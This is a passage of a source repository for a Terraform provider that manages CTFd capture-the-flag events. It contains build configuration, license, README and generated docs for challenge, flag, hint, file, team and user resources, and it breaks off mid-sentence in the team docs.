``` ├── .gitignore ├── .goreleaser.yaml ├── CODE_OF_CONDUCT.md ├── LICENSE ├── Makefile ├── README.md ├── SECURITY.md ├── docs/ ├── data-sources/ ├── challenges_dynamic.md ├── challenges_standard.md ├── teams.md ├── users.md ├── index.md ├── resources/ ├── challenge_dynamic.md ├── challenge_standard.md ├── file.md ├── flag.md ├── hint.md ├── team.md ├── user.md ├── examples/ ├── provider-install-verification/ ├── main.tf ├── provider/ ├── provider.tf ├── resources/ ├── ctfd_challenge_dynamic/ ├── resource.tf ├── ctfd_challenge_standard/ ├── resource.tf ├── ctfd_file/ ├── resource.tf ├── ctfd_flag/ ├── resource.tf ├── ctfd_hint/ ├── resource.tf ├── ctfd_team/ ├── resource.tf ├── ctfd_user/ ├── resource.tf ├── go.mod ├── go.sum ├── main.go ├── provider/ ├── challenge_common.go ├── challenge_dynamic_data_source.go ├── challenge_dynamic_resource.go ├── challenge_dynamic_resource_test.go ├── challenge_standard_data_source.go ├── challenge_standard_resource.go ├── challenge_standard_resource_test.go ├── file_resource.go ├── file_resource_test.go ├── flag_resource.go ├── flag_resource_test.go ├── hint_resource.go ├── hint_resource_test.go ├── provider.go ├── provider_test.go ├── team_data_source.go ├── team_resource.go ├── team_resource_test.go ├── user_data_source.go ├── user_resource.go ├── user_resource_test.go ├── utils/ ├── utils.go ├── validators/ ├── string_enum.go ├── terraform-registry-manifest.json ├── tools/ ├── tools.go ``` ## /.gitignore ```gitignore path="/.gitignore" # examples *.pcap* *.tfstate* # ci files cov.out ``` ## /.goreleaser.yaml ```yaml path="/.goreleaser.yaml" before: hooks: - go mod tidy gomod: proxy: true builds: - env: # goreleaser does not work with CGO, it could also complicate # usage by users in CI/CD systems like Terraform Cloud where # they are unable to install libraries. - CGO_ENABLED=0 mod_timestamp: '{{ .CommitTimestamp }}' flags: - '-trimpath' ldflags: - '-s -w -X main.version={{.Version}}' goos: - freebsd - windows - linux - darwin goarch: - amd64 - '386' - arm - arm64 ignore: - goos: darwin goarch: '386' binary: '{{ .ProjectName }}_v{{ .Version }}' archives: - format: zip name_template: '{{ .ProjectName }}_{{ .Version }}_{{ .Os }}_{{ .Arch }}' checksum: extra_files: - glob: 'terraform-registry-manifest.json' name_template: '{{ .ProjectName }}_{{ .Version }}_manifest.json' name_template: '{{ .ProjectName }}_{{ .Version }}_SHA256SUMS' algorithm: sha256 sboms: - artifacts: archive signs: - artifacts: checksum args: - "--batch" - "--local-user" - "{{ .Env.GPG_FINGERPRINT }}" - "--output" - "${signature}" - "--detach-sign" - "${artifact}" release: extra_files: - glob: 'terraform-registry-manifest.json' name_template: '{{ .ProjectName }}_{{ .Version }}_manifest.json' changelog: sort: asc filters: exclude: - '^docs:' - '^test:' ``` ## /CODE_OF_CONDUCT.md # Contributor Covenant Code of Conduct ## Our Pledge We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community. ## Our Standards Examples of behavior that contributes to a positive environment for our community include: * Demonstrating empathy and kindness toward other people * Being respectful of differing opinions, viewpoints, and experiences * Giving and gracefully accepting constructive feedback * Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience * Focusing on what is best not just for us as individuals, but for the overall community Examples of unacceptable behavior include: * The use of sexualized language or imagery, and sexual attention or advances of any kind * Trolling, insulting or derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or email address, without their explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Enforcement Responsibilities Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful. Community leaders have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate. ## Scope This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing the community in public spaces. Examples of representing our community include using an official e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community leaders responsible for enforcement at ctfer-io@protonmail.com. All complaints will be reviewed and investigated promptly and fairly. All community leaders are obligated to respect the privacy and security of the reporter of any incident. ## Enforcement Guidelines Community leaders will follow these Community Impact Guidelines in determining the consequences for any action they deem in violation of this Code of Conduct: ### 1. Correction **Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome in the community. **Consequence**: A private, written warning from community leaders, providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested. ### 2. Warning **Community Impact**: A violation through a single incident or series of actions. **Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. This includes avoiding interactions in community spaces as well as external channels like social media. Violating these terms may lead to a temporary or permanent ban. ### 3. Temporary Ban **Community Impact**: A serious violation of community standards, including sustained inappropriate behavior. **Consequence**: A temporary ban from any sort of interaction or public communication with the community for a specified period of time. No public or private interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, is allowed during this period. Violating these terms may lead to a permanent ban. ### 4. Permanent Ban **Community Impact**: Demonstrating a pattern of violation of community standards, including sustained inappropriate behavior, harassment of an individual, or aggression toward or disparagement of classes of individuals. **Consequence**: A permanent ban from any sort of public interaction within the community. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.0, available at https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity). [homepage]: https://www.contributor-covenant.org For answers to common questions about this code of conduct, see the FAQ at https://www.contributor-covenant.org/faq. Translations are available at https://www.contributor-covenant.org/translations. ## /LICENSE ``` path="/LICENSE" Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright 2023 CTFer.io Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ``` ## /Makefile ``` path="/Makefile" .PHONY: test-acc test-acc: TF_ACC=1 \ go test ./provider/ -v -run=^TestAcc_ -count=1 -coverprofile=cov.out -coverpkg "github.com/primeattenu/terraform-provider-ctfd/v2/provider,github.com/primeattenu/terraform-provider-ctfd/v2/provider/utils,github.com/primeattenu/terraform-provider-ctfd/v2/provider/validators" .PHONY: docs docs: go generate ./... ``` ## /README.md
## Why creating this ? Terraform is used to manage resources that have lifecycles, configurations, to sum it up. That is the case of CTFd: it handles challenges that could be created, modified and deleted. With some work to leverage the unsteady CTFd's API, Terraform is now able to manage them as cloud resources bringing you to opportunity of **CTF as Code**. With a paradigm-shifting vision of setting up CTFs, the Terraform Provider for CTFd avoid shitty scripts, `ctfcli` and other tools that does not solve the problem of reproductibility, ease of deployment and resiliency. ## How to use it ? Install the **Terraform Provider for CTFd** by setting the following in your `main.tf file`. ```hcl terraform { required_providers { ctfd = { source = "registry.terraform.io/ctfer-io/ctfd" } } } provider "ctfd" { url = "https://my-ctfd.lan" } ``` We recommend setting the environment variable `CTFD_API_KEY` to enable the provider to communicate with your CTFd instance. Then, you could use a `ctfd_challenge_standard` resource to setup your CTFd challenges, with for instance the following configuration. ```hcl resource "ctfd_challenge_standard" "my_challenge" { name = "My Challenge" category = "Some category" description = <<-EOT My superb description ! And it's multiline :o EOT state = "visible" value = 500 } ``` ## /SECURITY.md # Reporting Security Issues Please report any security issues you discovered in the API to ctfer-io@protonmail.com. We will assess the risk, plus make a fix available before we create a GitHub issue. In case the vulnerability is into a dependency or Terraform itself, please refer to their security policy directly. Thank you for your contribution. ## Refering to this repository To refer to this repository using a CPE v2.3, please use `cpe:2.3:a:ctfer-io:terraform-provider-ctfd:*:*:*:*:*:*:*:*` with the `version` set to the tag you are using. ## /docs/data-sources/challenges_dynamic.md --- # generated by https://github.com/hashicorp/terraform-plugin-docs page_title: "ctfd_challenges_dynamic Data Source - terraform-provider-ctfd" subcategory: "" description: |- --- # ctfd_challenges_dynamic (Data Source) ## Schema ### Read-Only - `challenges` (Attributes List) (see [below for nested schema](#nestedatt--challenges)) - `id` (String) The ID of this resource. ### Nested Schema for `challenges` Read-Only: - `attribution` (String) Attribution to the creator(s) of the challenge. - `category` (String) Category of the challenge that CTFd groups by on the web UI. - `connection_info` (String) Connection Information to connect to the challenge instance, useful for pwn or web pentest. - `decay` (Number) The decay defines from each number of solves does the decay function triggers until reaching minimum. This function is defined by CTFd and could be configured through `.function`. - `description` (String) Description of the challenge, consider using multiline descriptions for better style. - `function` (String) Decay function to define how the challenge value evolve through solves, either linear or logarithmic. - `id` (String) Identifier of the challenge. - `max_attempts` (Number) Maximum amount of attempts before being unable to flag the challenge. - `minimum` (Number) The minimum points for a dynamic-score challenge to reach with the decay function. Once there, no solve could have more value. - `name` (String) Name of the challenge, displayed as it. - `next` (Number) Suggestion for the end-user as next challenge to work on. - `requirements` (Attributes) List of required challenges that needs to get flagged before this one being accessible. Useful for skill-trees-like strategy CTF. (see [below for nested schema](#nestedatt--challenges--requirements)) - `state` (String) State of the challenge, either hidden or visible. - `tags` (List of String) List of challenge tags that will be displayed to the end-user. You could use them to give some quick insights of what a challenge involves. - `topics` (List of String) List of challenge topics that are displayed to the administrators for maintenance and planification. - `value` (Number) The value (points) of the challenge once solved. It is mapped to `initial` under the hood, but displayed as `value` for consistency with the standard challenge. ### Nested Schema for `challenges.requirements` Read-Only: - `behavior` (String) Behavior if not unlocked, either hidden or anonymized. - `prerequisites` (List of String) List of the challenges ID. ## /docs/data-sources/challenges_standard.md --- # generated by https://github.com/hashicorp/terraform-plugin-docs page_title: "ctfd_challenges_standard Data Source - terraform-provider-ctfd" subcategory: "" description: |- --- # ctfd_challenges_standard (Data Source) ## Schema ### Read-Only - `challenges` (Attributes List) (see [below for nested schema](#nestedatt--challenges)) - `id` (String) The ID of this resource. ### Nested Schema for `challenges` Read-Only: - `attribution` (String) Attribution to the creator(s) of the challenge. - `category` (String) Category of the challenge that CTFd groups by on the web UI. - `connection_info` (String) Connection Information to connect to the challenge instance, useful for pwn or web pentest. - `description` (String) Description of the challenge, consider using multiline descriptions for better style. - `id` (String) Identifier of the challenge. - `max_attempts` (Number) Maximum amount of attempts before being unable to flag the challenge. - `name` (String) Name of the challenge, displayed as it. - `next` (Number) Suggestion for the end-user as next challenge to work on. - `requirements` (Attributes) List of required challenges that needs to get flagged before this one being accessible. Useful for skill-trees-like strategy CTF. (see [below for nested schema](#nestedatt--challenges--requirements)) - `state` (String) State of the challenge, either hidden or visible. - `tags` (List of String) List of challenge tags that will be displayed to the end-user. You could use them to give some quick insights of what a challenge involves. - `topics` (List of String) List of challenge topics that are displayed to the administrators for maintenance and planification. - `value` (Number) ### Nested Schema for `challenges.requirements` Read-Only: - `behavior` (String) Behavior if not unlocked, either hidden or anonymized. - `prerequisites` (List of String) List of the challenges ID. ## /docs/data-sources/teams.md --- # generated by https://github.com/hashicorp/terraform-plugin-docs page_title: "ctfd_teams Data Source - terraform-provider-ctfd" subcategory: "" description: |- --- # ctfd_teams (Data Source) ## Schema ### Read-Only - `affiliation` (String) Affiliation to a company or agency. - `banned` (Boolean) Is true if the team is banned from the CTF. - `captain` (String) Member who is captain of the team. Must be part of the members too. Note it could cause a fatal error in case of resource import with an inconsistent CTFd configuration i.e. if a team has no captain yet (should not be possible). - `country` (String) Country the team represent or is hail from. - `email` (String) Email of the team. - `hidden` (Boolean) Is true if the team is hidden to the participants. - `id` (String) Identifier of the user. - `members` (List of String) List of members (User), defined by their IDs. - `name` (String) Name of the team. - `password` (String) Password of the team. Notice that during a CTF you may not want to update those to avoid defaulting team accesses. - `website` (String) Website, blog, or anything similar (displayed to other participants). ## /docs/data-sources/users.md --- # generated by https://github.com/hashicorp/terraform-plugin-docs page_title: "ctfd_users Data Source - terraform-provider-ctfd" subcategory: "" description: |- --- # ctfd_users (Data Source) ## Schema ### Read-Only - `affiliation` (String) Affiliation to a team, company or agency. - `banned` (Boolean) Is true if the user is banned from the CTF. - `country` (String) Country the user represent or is native from. - `email` (String) Email of the user, may be used to verify the account. - `hidden` (Boolean) Is true if the user is hidden to the participants. - `id` (String) Identifier of the user. - `language` (String) Language the user is fluent in. - `name` (String) Name or pseudo of the user. - `password` (String) Password of the user. Notice that during a CTF you may not want to update those to avoid defaulting user accesses. - `type` (String) Generic type for RBAC purposes. - `verified` (Boolean) Is true if the user has verified its account by email, or if set by an admin. - `website` (String) Website, blog, or anything similar (displayed to other participants). ## /docs/index.md --- # generated by https://github.com/hashicorp/terraform-plugin-docs page_title: "ctfd Provider" subcategory: "" description: |- Use the Terraform Provider to interact with a CTFd https://github.com/ctfd/ctfd. Why creating this ? Terraform is used to manage resources that have lifecycles, configurations, to sum it up. That is the case of CTFd: it handles challenges that could be created, modified and deleted. With some work to leverage the unsteady CTFd's API, Terraform is now able to manage them as cloud resources bringing you to opportunity of CTF as Code. With a paradigm-shifting vision of setting up CTFs, the Terraform Provider for CTFd avoid shitty scripts, ctfcli and other tools that does not solve the problem of reproductibility, ease of deployment and resiliency. Authentication You must configure the provider with the proper credentials before you can use it. If you are using the username/password configuration, remember that CTFd comes with a ratelimiter on rare methods and endpoints, but POST /login is one of them. This could lead to unexpected failures under intensive work. !> Warning: Hard-coded credentials are not recommended in any Terraform configuration and risks secret leakage should this file ever be committed to a public version control system. --- # ctfd Provider Use the Terraform Provider to interact with a [CTFd](https://github.com/ctfd/ctfd). ## Why creating this ? Terraform is used to manage resources that have lifecycles, configurations, to sum it up. That is the case of CTFd: it handles challenges that could be created, modified and deleted. With some work to leverage the unsteady CTFd's API, Terraform is now able to manage them as cloud resources bringing you to opportunity of CTF as Code. With a paradigm-shifting vision of setting up CTFs, the Terraform Provider for CTFd avoid shitty scripts, `ctfcli` and other tools that does not solve the problem of reproductibility, ease of deployment and resiliency. ## Authentication You must configure the provider with the proper credentials before you can use it. If you are using the username/password configuration, remember that CTFd comes with a ratelimiter on rare methods and endpoints, but `POST /login` is one of them. This could lead to unexpected failures under intensive work. !> **Warning:** Hard-coded credentials are not recommended in any Terraform configuration and risks secret leakage should this file ever be committed to a public version control system. ## Example Usage ```terraform provider "ctfd" { url = "https://my-ctfd.lan" api_key = "ctfd_somerandomvalue" } ``` ## Schema ### Optional - `api_key` (String, Sensitive) User API key. Could use `CTFD_API_KEY` environment variable instead. Despite being the most convenient way to authenticate yourself, we do not recommend it as you will probably generate a long-live token without any rotation policy. - `password` (String, Sensitive) The administrator or service account password to login with. Could use `CTFD_ADMIN_PASSWORD` environment variable instead. - `url` (String) CTFd base URL (e.g. `https://my-ctf.lan`). Could use `CTFD_URL` environment variable instead. - `username` (String, Sensitive) The administrator or service account username to login with. Could use `CTFD_ADMIN_USERNAME` environment variable instead. ## /docs/resources/challenge_dynamic.md --- # generated by https://github.com/hashicorp/terraform-plugin-docs page_title: "ctfd_challenge_dynamic Resource - terraform-provider-ctfd" subcategory: "" description: |- CTFd is built around the Challenge resource, which contains all the attributes to define a part of the Capture The Flag event. This implementation has support of a more dynamic behavior for its scoring through time/solves thus is different from a standard challenge. --- # ctfd_challenge_dynamic (Resource) CTFd is built around the Challenge resource, which contains all the attributes to define a part of the Capture The Flag event. This implementation has support of a more dynamic behavior for its scoring through time/solves thus is different from a standard challenge. ## Example Usage ```terraform resource "ctfd_challenge_dynamic" "http" { name = "My Challenge" category = "misc" description = "..." value = 500 decay = 100 minimum = 50 state = "visible" function = "logarithmic" topics = [ "Misc" ] tags = [ "misc", "basic" ] } resource "ctfd_flag" "http_flag" { challenge_id = ctfd_challenge_dynamic.http.id content = "CTF{some_flag}" } resource "ctfd_hint" "http_hint_1" { challenge_id = ctfd_challenge_dynamic.http.id content = "Some super-helpful hint" cost = 50 } resource "ctfd_hint" "http_hint_2" { challenge_id = ctfd_challenge_dynamic.http.id content = "Even more helpful hint !" cost = 50 requirements = [ctfd_hint.http_hint_1.id] } resource "ctfd_file" "http_file" { challenge_id = ctfd_challenge_dynamic.http.id name = "image.png" contentb64 = filebase64(".../image.png") } ``` ## Schema ### Required - `category` (String) Category of the challenge that CTFd groups by on the web UI. - `decay` (Number) The decay defines from each number of solves does the decay function triggers until reaching minimum. This function is defined by CTFd and could be configured through `.function`. - `description` (String) Description of the challenge, consider using multiline descriptions for better style. - `minimum` (Number) The minimum points for a dynamic-score challenge to reach with the decay function. Once there, no solve could have more value. - `name` (String) Name of the challenge, displayed as it. - `value` (Number) The value (points) of the challenge once solved. It is mapped to `initial` under the hood, but displayed as `value` for consistency with the standard challenge. ### Optional - `attribution` (String) Attribution to the creator(s) of the challenge. - `connection_info` (String) Connection Information to connect to the challenge instance, useful for pwn, web and infrastructure pentests. - `function` (String) Decay function to define how the challenge value evolve through solves, either linear or logarithmic. - `max_attempts` (Number) Maximum amount of attempts before being unable to flag the challenge. - `next` (Number) Suggestion for the end-user as next challenge to work on. - `requirements` (Attributes) List of required challenges that needs to get flagged before this one being accessible. Useful for skill-trees-like strategy CTF. (see [below for nested schema](#nestedatt--requirements)) - `state` (String) State of the challenge, either hidden or visible. - `tags` (List of String) List of challenge tags that will be displayed to the end-user. You could use them to give some quick insights of what a challenge involves. - `topics` (List of String) List of challenge topics that are displayed to the administrators for maintenance and planification. ### Read-Only - `id` (String) Identifier of the challenge. ### Nested Schema for `requirements` Optional: - `behavior` (String) Behavior if not unlocked, either hidden or anonymized. - `prerequisites` (List of String) List of the challenges ID. ## /docs/resources/challenge_standard.md --- # generated by https://github.com/hashicorp/terraform-plugin-docs page_title: "ctfd_challenge_standard Resource - terraform-provider-ctfd" subcategory: "" description: |- CTFd is built around the Challenge resource, which contains all the attributes to define a part of the Capture The Flag event. It is the first historic implementation of its kind, with basic functionalities. --- # ctfd_challenge_standard (Resource) CTFd is built around the Challenge resource, which contains all the attributes to define a part of the Capture The Flag event. It is the first historic implementation of its kind, with basic functionalities. ## Example Usage ```terraform resource "ctfd_challenge_standard" "http" { name = "My Challenge" category = "misc" description = "..." value = 500 topics = [ "Misc" ] tags = [ "misc", "basic" ] } resource "ctfd_flag" "http_flag" { challenge_id = ctfd_challenge_standard.http.id content = "CTF{some_flag}" } resource "ctfd_hint" "http_hint_1" { challenge_id = ctfd_challenge_standard.http.id content = "Some super-helpful hint" cost = 50 } resource "ctfd_hint" "http_hint_2" { challenge_id = ctfd_challenge_standard.http.id content = "Even more helpful hint !" cost = 50 requirements = [ctfd_hint.http_hint_1.id] } resource "ctfd_file" "http_file" { challenge_id = ctfd_challenge_standard.http.id name = "image.png" contentb64 = filebase64(".../image.png") } ``` ## Schema ### Required - `category` (String) Category of the challenge that CTFd groups by on the web UI. - `description` (String) Description of the challenge, consider using multiline descriptions for better style. - `name` (String) Name of the challenge, displayed as it. - `value` (Number) The value (points) of the challenge once solved. ### Optional - `attribution` (String) Attribution to the creator(s) of the challenge. - `connection_info` (String) Connection Information to connect to the challenge instance, useful for pwn, web and infrastructure pentests. - `max_attempts` (Number) Maximum amount of attempts before being unable to flag the challenge. - `next` (Number) Suggestion for the end-user as next challenge to work on. - `requirements` (Attributes) List of required challenges that needs to get flagged before this one being accessible. Useful for skill-trees-like strategy CTF. (see [below for nested schema](#nestedatt--requirements)) - `state` (String) State of the challenge, either hidden or visible. - `tags` (List of String) List of challenge tags that will be displayed to the end-user. You could use them to give some quick insights of what a challenge involves. - `topics` (List of String) List of challenge topics that are displayed to the administrators for maintenance and planification. ### Read-Only - `id` (String) Identifier of the challenge. ### Nested Schema for `requirements` Optional: - `behavior` (String) Behavior if not unlocked, either hidden or anonymized. - `prerequisites` (List of String) List of the challenges ID. ## /docs/resources/file.md --- # generated by https://github.com/hashicorp/terraform-plugin-docs page_title: "ctfd_file Resource - terraform-provider-ctfd" subcategory: "" description: |- A CTFd file for a challenge. --- # ctfd_file (Resource) A CTFd file for a challenge. ## Example Usage ```terraform resource "ctfd_challenge_dynamic" "http" { name = "My Challenge" category = "misc" description = "..." value = 500 decay = 100 minimum = 50 state = "visible" function = "logarithmic" topics = [ "Misc" ] tags = [ "misc", "basic" ] } resource "ctfd_file" "http_file" { challenge_id = ctfd_challenge_dynamic.http.id name = "image.png" contentb64 = filebase64(".../image.png") } ``` ## Schema ### Required - `name` (String) Name of the file as displayed to end-users. ### Optional - `challenge_id` (String) Challenge of the file. - `contentb64` (String, Sensitive) Base 64 content of the file, perfectly fit the use-cases of complex binaries. You could provide it from the file-system using `filebase64("${path.module}/...")`. - `location` (String) Location where the file is stored on the CTFd instance, for download purposes. ### Read-Only - `id` (String) Identifier of the file, used internally to handle the CTFd corresponding object. WARNING: updating this file does not work, requires full replacement. - `sha1sum` (String) The sha1 sum of the file. ## /docs/resources/flag.md --- # generated by https://github.com/hashicorp/terraform-plugin-docs page_title: "ctfd_flag Resource - terraform-provider-ctfd" subcategory: "" description: |- A flag to solve the challenge. --- # ctfd_flag (Resource) A flag to solve the challenge. ## Example Usage ```terraform resource "ctfd_challenge_dynamic" "http" { name = "My Challenge" category = "misc" description = "..." value = 500 decay = 100 minimum = 50 state = "visible" function = "logarithmic" topics = [ "Misc" ] tags = [ "misc", "basic" ] } resource "ctfd_flag" "http_flag" { challenge_id = ctfd_challenge_dynamic.http.id content = "CTF{some_flag}" } ``` ## Schema ### Required - `challenge_id` (String) Challenge of the flag. - `content` (String, Sensitive) The actual flag to match. Consider using the convention `MYCTF{value}` with `MYCTF` being the shortcode of your event's name and `value` depending on each challenge. ### Optional - `data` (String) The flag sensitivity information, either case_sensitive or case_insensitive - `type` (String) The type of the flag, could be either static or regex ### Read-Only - `id` (String) Identifier of the flag, used internally to handle the CTFd corresponding object. ## /docs/resources/hint.md --- # generated by https://github.com/hashicorp/terraform-plugin-docs page_title: "ctfd_hint Resource - terraform-provider-ctfd" subcategory: "" description: |- A hint for a challenge to help players solve it. --- # ctfd_hint (Resource) A hint for a challenge to help players solve it. ## Example Usage ```terraform resource "ctfd_challenge_dynamic" "http" { name = "My Challenge" category = "misc" description = "..." value = 500 decay = 100 minimum = 50 state = "visible" function = "logarithmic" topics = [ "Misc" ] tags = [ "misc", "basic" ] } resource "ctfd_flag" "http_flag" { challenge_id = ctfd_challenge_dynamic.http.id content = "CTF{some_flag}" } resource "ctfd_hint" "http_hint" { challenge_id = ctfd_challenge_dynamic.http.id content = "Some super-helpful hint" cost = 50 } resource "ctfd_hint" "http_hint_2" { challenge_id = ctfd_challenge_dynamic.http.id content = "Even more helpful hint !" cost = 50 requirements = [ctfd_hint.http_hint_1.id] } ``` ## Schema ### Required - `challenge_id` (String) Challenge of the hint. - `content` (String) Content of the hint as displayed to the end-user. ### Optional - `cost` (Number) Cost of the hint, and if any specified, the end-user will consume its own (or team) points to get it. - `requirements` (List of String) List of the other hints it depends on. ### Read-Only - `id` (String) Identifier of the hint, used internally to handle the CTFd corresponding object. ## /docs/resources/team.md --- # generated by https://github.com/hashicorp/terraform-plugin-docs page_title: "ctfd_team Resource - terraform-provider-ctfd" subcategory: "" description: |- CTFd defines a Team as a group of Users who will attend the Capture The Flag event. --- # ctfd_team (Resource) CTFd defines a Team as a group of Users who will attend the Capture The Flag event. ## Example Usage ```terraform resource "ctfd_user" "ctfer" { name = "CTFer" email = "ctfer-io@protonmail.com" password = "password" } resource "ctfd_team" "cybercombattants" { name = "Les cybercombattants de l'innovation" email = "lucastesson@protonmail.com" password = "password" members = [ ctfd_user.ctfer.id, ] captain = ctfd_user.ctfer.id } ``` ## Schema ### Required - `captain` (String) Member who is captain of the team. Must be part of the members too. Note it could cause a fatal error in case of 